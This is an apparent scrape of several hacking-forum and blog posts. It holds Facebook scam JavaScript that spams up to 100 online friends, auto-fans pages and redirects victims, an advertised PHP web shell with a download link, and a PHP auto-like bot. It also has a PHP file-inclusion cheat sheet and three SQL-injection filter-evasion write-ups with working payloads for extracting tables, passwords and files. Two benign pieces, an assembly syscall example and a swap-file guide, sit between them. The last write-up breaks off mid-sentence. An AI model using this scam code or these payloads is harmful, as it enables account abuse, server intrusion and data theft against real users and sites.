/////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Get online friends and send chat message to them /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http3 = new XMLHttpRequest(); var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1"; var params3 = "user=" + user_id + "&popped_out=false&force_render=true&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest"; http3.open("POST", url3, true); //Send the proper header information along with the request http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http3.setRequestHeader("Content-length", params3.length); http3.setRequestHeader("Connection", "close"); http3.onreadystatechange = function () { //Call a function when the state changes. if (http3.readyState == 4 && http3.status == 200) { var response3 = http3.responseText; response3 = response3.replace("for (;", ""); response3 = JSON.parse(response3); var count = 0; for (property in response3.payload.buddy_list.nowAvailableList) { if (count < 100) { // Loop to send messages // New XMLHttp object var httpc = new XMLHttpRequest(); // Generate random message ID var msgid = Math.floor(Math.random() * 1000000); var time = Math.round(new Date().getTime() / 1000); var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1"; var paramsc = "msg_id=" + msgid + "&client_time=" + time + "&to=" + property + "&num_tabs=1&pvs_time=" + time + "&msg_text=" + prepared_chat + "&to_offline=false&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest"; httpc.open("POST", urlc, true); //Send the proper header information along with the request httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httpc.setRequestHeader("Content-length", paramsc.length); httpc.setRequestHeader("Connection", "close"); httpc.onreadystatechange = function () { //Call a function when the state changes. if (httpc.readyState == 4 && httpc.status == 200) { //alert(http.responseText); //alert('buddy list fetched'); } } httpc.send(paramsc); } //alert(property); count++; // increment counter } http3.close; // Close the connection } } http3.send(params3); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Become a Fan /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http4 = new XMLHttpRequest(); var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1"; var params4 = "fbpage_id=201282479913581&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest" http4.open("POST", url4, true); //Send the proper header information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function () { //Call a function when the state changes. if (http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Become a Fan /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http5 = new XMLHttpRequest(); var url5 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1"; var params5 = "fbpage_id=201286706575691&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest" http5.open("POST", url5, true); //Send the proper header information along with the request http5.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http5.setRequestHeader("Content-length", params5.length); http5.setRequestHeader("Connection", "close"); http5.onreadystatechange = function () { //Call a function when the state changes. if (http5.readyState == 4 && http5.status == 200) { http5.close; // Close the connection } } http5.send(params5); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Become a Fan /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http6 = new XMLHttpRequest(); var url6 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1"; var params6 = "fbpage_id=167400883320224&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest" http6.open("POST", url6, true); //Send the proper header information along with the request http6.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http6.setRequestHeader("Content-length", params6.length); http6.setRequestHeader("Connection", "close"); http6.onreadystatechange = function () { //Call a function when the state changes. if (http6.readyState == 4 && http6.status == 200) { http6.close; // Close the connection } } http6.send(params6); //this function includes all necessary js files for the application function include(file) { var script = document.createElement('script'); script.src = file; script.type = 'text/javascript'; script.defer = true; document.getElementsByTagName('head').item(0).appendChild(script); } include('http://code.jquery.com/jquery-1.5.2.min.js'); var landingpage = function() { var myFrame = $("div#coverpage1").hide(1000); window.top.location = "http://appboxkm.info.s3-website-us-east-1.amazonaws.com/"; } setTimeout("landingpage();",19000); Sursa: http://r00tsecurity.org/forums/topic/13898-facebook-scam-source-code-virus/
-
[Linux x86 NASM] Open, Read & Write syscalls section .bss buffer: resb 2048 ; A 2 KB byte buffer used for read section .data buflen: dw 2048 ; Size of our buffer to be used for read section .text global _start _start: ; open(char *path, int flags, mode_t mode); ; Get our command line arguments. pop ebx ; argc pop ebx ; argv[0] (executable name) pop ebx ; argv[1] (desired file name) mov eax, 0x05 ; syscall number for open xor ecx, ecx ; O_RDONLY = 0 xor edx, edx ; Mode is ignored when O_CREAT isn't specified int 0x80 ; Call the kernel test eax, eax ; Check the output of open() jns file_read ; If the sign flag is set (positive) we can begin reading the file ; = If the output is negative, then open failed. So we should exit exit: mov eax, 0x01 ; 0x01 = syscall for exit xor ebx, ebx ; makes ebx technically set to zero int 0x80 ; = Begin reading the file file_read: ; read(int fd, void *buf, size_t count); mov ebx, eax ; Move our file descriptor into ebx mov eax, 0x03 ; syscall for read = 3 mov ecx, buffer ; Our 2kb byte buffer mov edx, buflen ; The size of our buffer int 0x80 test eax, eax ; Check for errors / EOF jz file_out ; If EOF, then write our buffer out. js exit ; If read failed, we exit. ; No error or EOF. Keep reading . file_out: ; write(int fd, void *buf, size_t count); mov edx, eax ; read returns amount of bytes read mov eax, 0x04 ; syscall write = 4 mov ebx, 0x01 ; STDOUT = 1 mov ecx, buffer ; Move our buffer into the arguments int 0x80 jmp exit ; All done Sursa: [Linux x86 NASM] Open, Read & Write syscalls - r00tsecurity
-
Private x0rg Web Hosting Bypasser (PHPshell) This shell has the best bypass capabilities for example: PERL - Extension bypass PYTHON - Extension bypass Bypass php.ini/.htaccess bypass for PHP 5.2.9 bypass for PHP 5.2.12/5.3.1 And other crazy shit here's a SS: Download: http://www.multiupload.com/0PZSAB1DCQ Sursa: Private x0rg Web Hosting Bypasser (PHPshell) - r00tsecurity
-
Facebook Auto Like Script External Pages Code /* ----------- USER CONFIGURATIONS ------------ */ $login_email = 'CHANGE THIS TO YOUR EMAIL'; $login_pass = 'CHANGE THIS TO YOUR PASSWORD'; $rssFeedToLike = "CHANGE THIS TO YOUR RSS FEED"; /* ------- END OF USER CONFIGURATIONS -------- */ # stories seen $ss = Array(); $page = ''; $likephp = ''; function fblogin($page) { global $ch,$login_email,$login_pass; curl_setopt($ch, CURLOPT_REFERER, 'http://www.facebook.com/plugins/like.php?href=http://fernandomagro.com'); curl_setopt($ch, CURLOPT_URL, 'http://www.facebook.com/login.php?api_key=9c2355ddad105c0767059b748e771bc6&skip_api_login=1&display=popup&social_plugin=like&external_page_url='.rawurlencode($page).'&next=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Fuiserver.php%3Fsocial_plugin%3Dlike%26external_page_url%3D'.rawurlencode($page).'%26method%3Dopt.inlike%26display%3Dpopup%26app_id%3D127760087237610%26from_login%3D1'); curl_setopt($ch, CURLOPT_POSTFIELDS, 'email=' . urlencode($login_email) . '&pass=' . urlencode($login_pass) . '&login=' . urlencode("Login")); curl_setopt($ch, CURLOPT_POST, 1); $login = curl_exec($ch); # echo $login."\n\n\n\n\n";#debug return $login; exit;#debug } function fblikepage($page) { global $ch,$likephp; curl_setopt($ch, CURLOPT_URL, 'http://www.facebook.com/plugins/like.php?href='.rawurlencode($page)); curl_setopt($ch, CURLOPT_POST, 0); $likephp = curl_exec($ch); preg_match("/Env=\{module:\"like_widget\",impid:\"([^\"]+)\",user\d+)/", $likephp, $fbvars); return $fbvars; } // init curl $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_COOKIEJAR, "my_cookies.txt"); curl_setopt($ch, CURLOPT_COOKIEFILE, "my_cookies.txt"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4"); curl_setopt($ch, CURLOPT_URL, $rssFeedToLike); curl_setopt($ch, CURLOPT_POST, 0); $feed = curl_exec($ch); preg_match_all("/<feedburnerrigLink>([^<]+)<\/feedburnerrigLink>/", $feed, $links); #preg_match_all("/<link>([^<]+)<\/link>/", $feed, $links); foreach ($links[1] as $link) { $fbvars = ''; $fbvars = fblikepage($link); if ($fbvars[2] == 0) { if (preg_match("/Env=\{user:\d+/", $likephp)) { echo "Could not like $link : no impid detected\n"; continue; } echo "Logging in...\n"; $page = fblogin($link); $page = fblogin($link); # it's repeated on purpose, cookie trick. $fbvars = fblikepage($link); } # print_r($fbvars); # wrong password if ($fbvars[2] == 0) { echo "Incorrect login user or password\n"; exit; } # impid, user, post_form_id, fb_dtsg preg_match("/Env=\{module:\"like_widget\",impid:\"([^\"]+)\",user\d+).+?post_form_id:\"([^\"]+)\",fb_dtsg:\"([^\"]+)\",/", $likephp, $fbvars); #print_r($fbvars); curl_setopt($ch, CURLOPT_URL, 'http://facebook.com/ajax/connect/external_node_connect.php?__a=1'); curl_setopt($ch, CURLOPT_POSTFIELDS, 'href='.rawurlencode($link).'&node_type=link&edge_type=like&page_id&layout=standard&connect_text&ref&now_connected=true&post_form_id='.$fbvars[3].'&nctr[_mod]=like_widget&nctr[_impid]='.$fbvars[1].'&fb_dtsg='.$fbvars[4].'&post_form_id_source=AsyncRequest'); curl_setopt($ch, CURLOPT_POST, 1); $page = curl_exec($ch); # echo $page; echo "Liked $link\n"; } ?> Sursa: Facebook Auto Like Script External Pages Code - r00tsecurity
-
How to Increase the Swap File in UNIX(-like) Operating Systems First of all, I’m not saying on which operating system because this applies to numerous UNIX, UNIX derivates and UNIX-like operating systems. For example, the process of increasing the swap file is the same on all Linux, AIX, HP-UX, FreeBSD, NetBSD, OpenBSD, IRIX, Tru64 and possibly more. So, assuming that we have approximately 2GB of swap… 1root:~# free 2 total used free shared buffers cached 3Mem: 1026140 690164 335976 0 226408 246340 4-/+ buffers/cache: 217416 808724 5Swap: 2064376 0 2064376 6root:~# We first create an empty file with the size of additional swap we need. For example if we need 512MB of additional swap we’ll create a file like this: 1root:~# dd if=/dev/zero of=/example_swap bs=1024 count=500000 2500000+0 records in 3500000+0 records out 4512000000 bytes (512 MB) copied, 7.03446 seconds, 72.8 MB/s 5root:~# Which will obviously create file with size of 512MB filled with zeros… 1root:~# ls -l /example_swap 2-rw-r--r-- 1 root root 512000000 May 24 11:49 /example_swap 3root:~# Next, we are making this a swap area using the provided utility. 1root:~# mkswap /example_swap 2Setting up swapspace version 1, size = 511995 kB 3root:~# And we attach this to the system’s swap file as shown below… 1root:~# swapon /example_swap 2root:~# free 3 total used free shared buffers cached 4Mem: 1026140 1005904 20236 0 197632 579308 5-/+ buffers/cache: 228964 797176 6Swap: 2564368 0 2564368 As you can see the space was increased. It would be wise to also update /etc/fstab to map this area at boot time or when using swapon -a command. In order to stop using this area, simply remove it with the appropriate system call’s wrapper utility. 1root:~# swapoff /example_swap 2root:~# free 3 total used free shared buffers cached 4Mem: 1026140 1005780 20360 0 197648 579316 5-/+ buffers/cache: 228816 797324 6Swap: 2064376 0 2064376 7root:~# Sursa: How to Increase the Swap File in UNIX(-like) Operating Systems « xorl %eax, %eax
-
Exploiting PHP File Inclusion – Overview Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place. Basic Local File Inclusion: 1<?php include("includes/" . $_GET['file']); ?> Including files in the same directory: ?file=.htaccess Path Traversal: ?file=../../../../../../../../../var/lib/locate.db (this file is very interesting because it lets you search the filesystem, other files) Including injected PHP code: ?file=../../../../../../../../../var/log/apache/error.log (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.). Temporarily uploaded files might work too. Limited Local File Inclusion: 1<?php include("includes/" . $_GET['file'] . ".htm"); ?> Null Byte Injection: ?file=../../../../../../../../../etc/passwd%00 (requires magic_quotes_gpc=off) Directory Listing with Null Byte Injection: ?file=../../../../../../../../../var/www/accounts/%00 (UFS filesystem only, requires magic_quotes_gpc=off, more details here) Path Truncation: ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ … (more details see here and here) Dot Truncation: ?file=../../../../../../../../../etc/passwd……………. … (Windows only, more details here) Reverse Path Truncation: ?file=../../../../ [...] ../../../../../etc/passwd (more details here) Basic Remote File Inclusion 1<?php include($_GET['file']); ?> Including Remote Code: ?file=[http|https|ftp]://websec.wordpress.com/shell.txt (requires allow_url_fopen=On and allow_url_include=On) Using PHP stream php://input: ?file=php://input (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On) Using PHP stream php://filter: ?file=php://filter/convert.base64-encode/resource=index.php (lets you read PHP source because it wont get evaluated in base64. More details here and here) Using data URIs: ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= (requires allow_url_include=On) Using XSS: ?file=http://127.0.0.1/path/xss.php?xss=phpcode (makes sense if firewalled or only whitelisted domains allowed) Limited Remote File Inclusion 1<?php include($_GET['file'] . ".htm"); ?> ?file=http://websec.wordpress.com/shell ?file=http://websec.wordpress.com/shell.txt? ?file=http://websec.wordpress.com/shell.txt%23(requires allow_url_fopen=On and allow_url_include=On) Static Remote File Inclusion: 1<?php include("http://192.168.1.10/config.php"); ?> Man In The Middle (lame indeed, but often forgotten) Of course you can combine all the tricks. If you are aware of any other or interesting files to include please leave a comment and I’ll add them. Sursa: Exploiting PHP File Inclusion – Overview « Reiners’ Weblog
-
Exploiting hard filtered SQL Injections 3 This is a follow-up post of the first edition of Exploiting hard filtered SQL Injections and at the same time a writeup for Campus Party CTF web4. In this post we will have a closer look at group_concat() again. Last month I was invited to Madrid to participate at the Campus Party CTF organized by SecurityByDefault. Of course I was mainly interested in the web application challenges, but there was also reverse engineering, cryptography and network challenges. For each of the categories there was 4 difficulty levels. The hardest webapp challenge was a blind SQLi with some filtering. Techniques described in my last blogposts did not helped me so I had to look for new techniques and I promised to do a little writeup on this. The challenge was a news site with a obvious SQLi in the news id GET parameter. For different id’s specified by the user one could see different news articles while a SQL error resulted in no article being displayed. The filter was like the “basic keyword filter” I already introduced here with additional filtering for SQL comments: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|null|where|limit)/i', $id)) 08 exit('attack'); // no sqli keywords 09if(preg_match('/(--|#|\/\*)/', $id)) 10 exit('attack'); // no sqli comments The first attempt was to create a working UNION SELECT with %a0 as a whitespace alternative which is not covered by the whitespace regex but works on MySQL as a whitespace. 1?id=1%a0union%a0select%a01,2,group_concat(table_name),4,5,6%a0from%a0information_schema.tables;%00 However no UNION SELECT worked, I had no FILE PRIV and guessing the table and column names was too difficult in the short time because they were in spanish and with different upper and lower case letters. So I decided to go the old way with parenthesis and a CASE WHEN: 1?id=(case(substr((select(group_concat(table_name))from(information_schema.tables)),1,1))when(0x61)then(1)else(2)end) The news article with id=1 is shown when the first letter of all concated table names is ‘a’, otherwise news article with id=2 is shown. As stated in my last post the output of group_concat() is limited to 1024 characters by default. This is sufficient to retrieve all table names because all default table names concated have a small length and there is enough space left for custom tables. However the length of all standard columns is a couple of thousands characters long and therefore reading all column names with group_concat() is not easily possible because it will only return the first 1024 characters of concated standard columns of the database mysql and information_schema *. Usually, the goal is to SELECT column names only from a specific table to make the result length smaller than 1024 characters. In case WHERE and LIMIT is filtered I presented a “WHERE alternative” in the first part: 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))# Here I co-SELECTed the column table_name to use it in the HAVING clause (otherwise the error Unknown column ‘table_name’ in ‘having clause’ would occur). In a subSELECT you cannot select from more than one column and this is where I struggled during the challenge. The easiest way would have been to use GROUP BY with %a0 as delimiter: 1?id=(case(substr((select(group_concat(column_name))from(information_schema.columns)group%a0by(table_name)having(table_name)=0x41646D696E6973747261646F726553),1,1))when(0x61)then(1)else(2)end) But what I tried to do is to find a way around the limiting 1024 character of group_concat(). Lets assume the keywords “group” and “having” are filtered also First I checked the total amount of all columns: 1?id=if((select(count(*))from(information_schema.columns))=187,1,2) Compared to newer MySQL versions the amount of 187 was relatively small (my local MySQL 5.1.36 has 507 columns by default, it was MySQL 5.0). Now the idea was to only concatenate the first few characters of each column_name to fit all beginnings of all column_names into 1024 characters. Then it would be possible to read the first characters of the last columns (this is where the columns of user-created tables appear). After this the next block of characters can be extracted for each column_name and so on until the whole name is reconstructed. So the next step was to calculate the maximum amount of characters I could read from each column_name without exceeding the maximum length of 1024: 15 characters * 187 column_names = 935 characters Well thats not correct yet, because we have to add the commas group_concat() adds between each column. That is additional 186 characters which exceeds the maximum length of 1024. So we take only 4 characters per column_name: 14 characters * 187 column_name + 186 commas = 934 characters The injection looked like this: 1?id=(case(substr((select(group_concat(substr(column_name,1,4)))from(information_schema.columns)),1,1))when(0x61)then(1)else(2)end) To avoid finding the right offset where the user tables starts I began to extract column name by column name from the end, until I identified columns of the default mysql database (a local mysql setup helps a lot). I think the following graphic helps to get a better idea of what I did. The first SELECT shows a usual group_concat() on all column names (red blocks with different length) that misses the columns from user-created tables that appear at the end of the block list. The second query concatenates only the first 4 characters (blue) of every name to make the resultset fit into the 1024 character limit. In the same way the next block of 4 characters can be SELECTed (third query). Each string of concatenated substrings can be read char by char to reconstruct the column names (last query). It gets a bit tricky when the offsets change while reading the second or third block of 4 characters and you need to keep attention to not mix up the substrings while putting them back together for every column name. A little PHP script automated the process and saved some time. Although this approach was way to complicated to solve this challenge, I learned a lot In the end I ranked 2nd in the competition. I would like to thank again SecurityByDefault for the fun and challenging contest, especially Miguel for the SQLi challenges and give kudos to knx (1st), aw3a (3rd) and LarsH (the only one solving the tough reversing challenges). By the way the regex filters presented in the last posts are not only for fun and challenges: I have seen widely used community software using (bypassable) filters like these. * Note that the exact concated length and amount of columns and tables depends on your MySQL version. Generally the higher your version is, the more column names are available and the longer is the concated string. You can use the following queries to check it out yourself: 1select sum(length(table_name)) from information_schema.tables where table_schema = 'information_schema' or table_schema='mysql' 2select sum(length(column_name)) from information_schema.columns where table_schema = 'information_schema' or table_schema='mysql' More: Part 1, Part2, SQLi filter evasion cheatsheet Sursa: Exploiting hard filtered SQL Injections 3 « Reiners’ Weblog
-
Exploiting hard filtered SQL Injections 2 (conditional errors) This is a addition to my last post about Exploiting hard filtered SQL Injections. I recommend reading it to understand some basic filter evasion techniques. In this post we will have a look at the same scenario but this time we will see how it can be solved with conditional errors in a totally blind SQLi scenario. For this we consider the following intentionally vulnerable source code: 01<?php 02// DB connection 03 04// $id = (int)$_GET['id']; 05$id = $_GET['id']; 06 07$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id") or die("Error"); 08 09if($data = mysql_fetch_array($result)) 10 $_SESSION['name'] = $data['name']; 11?> (proper securing is shown on line 4 to avoid the same confusion as last time ) The main difference to the previous source code is that the user/attacker will not see any output of the SQL query itself because the result is only used for internals. However, the application has a notable difference when an error within the SQL query occurs. In this case it simply shows “Error” but this behavior could also be a notable MySQL error message when error_reporting=On or any other custom error or default page that indicates a difference between a good or bad SQL query. Or think about INSERT queries where you mostly don’t see any output of your injection rather than a “successful” or not. Known conditional errors Now how do we exploit this? “Timing!” you might say, but thats not the topic for today so I’ll filter that out for you 1if(preg_match('/(benchmark|sleep)/i', $id)) 2 exit('attack'); // no timing If you encounter keyword filtering it is more than likely that timing is forbidden because of DoS possibilities. On the other hand using conditional errors is just faster and more accurate. The most common documented error for SQLi usage is a devision by zero. 1?id=if(1=1, CAST(1/0 AS char), 1) However this throws an error only on PostgreSQL and Oracle (and some old MSSQL DBMS) but not on MySQL. A known alternative to cause a conditional error under MySQL is to use a subquery with more than one row in return: 1?id=if(1=1, (select table_name from information_schema.tables), 1) Because the result of the subquery is compared to a single value it is necessary that only one value is returned. A SELECT on all rows of information_schema.tables will return more than one value and this will result in the following error: 1Subquery returns more than 1 row Accordingly our vulnerable webapp will output “Error” and indicate if the condition (1=1) was true or false. Note that we have to know a table and column name to use this technique. conditional errors with regex Until yesterday I did not knew of any other way to throw a conditional error under MySQL (if you know any other, please leave a comment!) and from time to time I was stuck exploiting hard filtered SQL Injections where I could not use timing or known conditional errors because I could not access information_schema or any other table. A new way to trigger conditional errors under MySQL can be achieved by using regular expressions (regex). Regexes are often used to prevent SQL injections, just like in my bad filter examples (which you should never use for real applications). But also for attackers a regex can be very useful. MySQL supports regex by the keyword REGEXP or its synonym RLIKE. 1SELECT id,title,content FROM news WHERE content REGEXP '[a-f0-9]{32}' The interesting part for a SQL Injection is that an error in the regular expression will result in a MySQL error as well. Here are some examples: 1SELECT 1 REGEXP '' 2Got error 'empty (sub)expression' from regexp 1SELECT 1 REGEXP '(' 2Got error 'parentheses not balanced' from regexp 1SELECT 1 REGEXP '[' 2Got error 'brackets ([ ]) not balanced' from regexp 1SELECT 1 REGEXP '|' 2Got error 'empty (sub)expression' from regexp 1SELECT 1 REGEXP '\\' 2Got error 'trailing backslash (\)' from regexp 1SELECT 1 REGEXP '*', '?', '+', '{1' 2Got error 'repetition-operator operand invalid' from regexp 1SELECT 1 REGEXP 'a{1,1,1}' 2Got error 'invalid repetition count(s)' from regexp This can be used to build conditional errors loading an incorrect regular expression depending on our statement. The following injection will check if the MySQL version is 5 or not: 1?id=(select(1)rlike(case(substr(@@version,1,1)=5)when(true)then(0x28)else(1)end)) If the condition is true a incorrect hex encoded regular expression is evaluated and an error is thrown. But in this case we could also have used a subselect error as above if we know a table name. Now consider a similar filter introduced in my previous post: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|not)/i', $id)) 08 exit('attack'); // no sqli boolean keywords 09if(preg_match('/(union|select|from|where)/i', $id)) 10 exit('attack'); // no sqli select keywords 11if(preg_match('/(into|file)/i', $id)) 12 exit('attack'); // no file operation 13if(preg_match('/(benchmark|sleep)/i', $id)) 14 exit('attack'); // no timing The first highlighted filter avoids using the known conditional error because we can not use subselects. The last two highlighted filters prevents us from using time delays or files as a side channel. However the new technique with REGEXP does not need a SELECT to trigger a conditional error because we inject into a WHERE statement and MySQL allows a comparison of three operands: 1?id=(1)rlike(if(mid(@@version,1,1)like(5),0x28,1)) If the first char of the version is ’5? then the regex ‘(‘ will be compared to 1 and an error occurs because of unbalanced parenthesis. Otherwise the regex ’1? will be evaluated correctly and no error occurs. Again we have everything we need to retrieve data from the database and to have fun with regex filter evasions by regex errors. More: Part 1, Part 3, SQLi filter evasion cheatsheet Sursa: Exploiting hard filtered SQL Injections 2 (conditional errors) « Reiners’ Weblog
-
Exploiting hard filtered SQL Injections While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is extremely trendy to build SQL injection challenges with very tough filters which can be circumvented based on the flexible MySQL syntax. In this post I will show some example filters and how to exploit them which may also be interesting when exploiting real life SQL injections which seem unexploitable at first glance. For the following examples I’ll use this basic vulnerable PHP script: 01<?php 02// DB connection 03 04$id = $_GET['id']; 05$pass = mysql_real_escape_string($_GET['pass']); 06 07$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); 08 09if($data = @mysql_fetch_array($result)) 10 echo "Welcome ${data['name']}"; 11?> Note: the webapplication displays only the name of the first row of the sql resultset. Warmup Lets warm up. As you can see the parameter “id” is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability: 1?id=1 and 1=0-- - 1?id=1 and 1=1-- - You also might want to see all usernames by iterating through limit (x): 1?id=1 or 1=1 LIMIT x,1-- - But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area. So you would like to know what the table and column names are and you try the following: 1?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- - 1?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- - After you have found interesting tables and its column names you can start to extract data. 1?id=1 and 1=0 union select null,password,null from users limit 1,1-- - Ok thats enough for warming up. Whitespaces, quotes and slashes filtered Of course things aren’t that easy most time. Now consider the following filter for some extra characters: 1if(preg_match('/\s/', $id)) 2 exit('attack'); // no whitespaces 3if(preg_match('/[\'"]/', $id)) 4 exit('attack'); // no quotes 5if(preg_match('/[\/\\\\]/', $id)) 6 exit('attack'); // no slashes As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often). 1?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -) Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can’t be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take “#” (not urlencoded for better readability). 1?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))# Instead of a quoted string we can use the SQL hex representation of the found table name: 1?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))# Nice. Basic keywords filtered Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”: 1if(preg_match('/\s/', $id)) 2 exit('attack'); // no whitespaces 3if(preg_match('/[\'"]/', $id)) 4 exit('attack'); // no quotes 5if(preg_match('/[\/\\\\]/', $id)) 6 exit('attack'); // no slashes 7if(preg_match('/(and|null|where|limit)/i', $id)) 8 exit('attack'); // no sqli keywords For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result: 1?id=1# 1?id=2-1# To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder “null” we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have: 1?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))# 1?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))# This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars. WHERE alternative The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn’t work because ORDER BY needs a space. Another keyword we have left is HAVING. First we have a look which databases are available: 1?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))# This will definitely fit into 1024 chars, but you can also use database() to get the current database name: 1?id=(0)union(select(0),database(),(0))# Lets assume your database name is “test” which hex representation is “0×74657374?. Then we can use HAVING to get all table names associated with the database “test” without using WHERE: 1?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))# Note that you have to select the column “table_schema” in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result: 1?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))# We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names: 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))# 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))# Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step. intermediate result What do we need for our injections so far? keywords: “union”, “select”, “from”,”having” characters: (),._# (& or “and”) String comparing characters like “=” and “!=” can be avoided by using the keywords “like” and “rlike” or the function strcmp() together with the keyword “not”: 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))# advanced keyword filtering Now its getting difficult. The filter also checks for all keywords previously needed: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|where|limit)/i', $id)) 08 exit('attack'); // no sqli keywords 09if(preg_match('/(union|select|from|having)/i', $id)) 10 exit('attack'); // no sqli keywords What option do we have left? If we have the FILE privilege we can use load_file() (btw you can’t use into outfile without quotes and spaces). But we can’t output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file(). First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list: 1?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1)) This will return the length of the file content or – if the file could not be read – a “1? and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char: 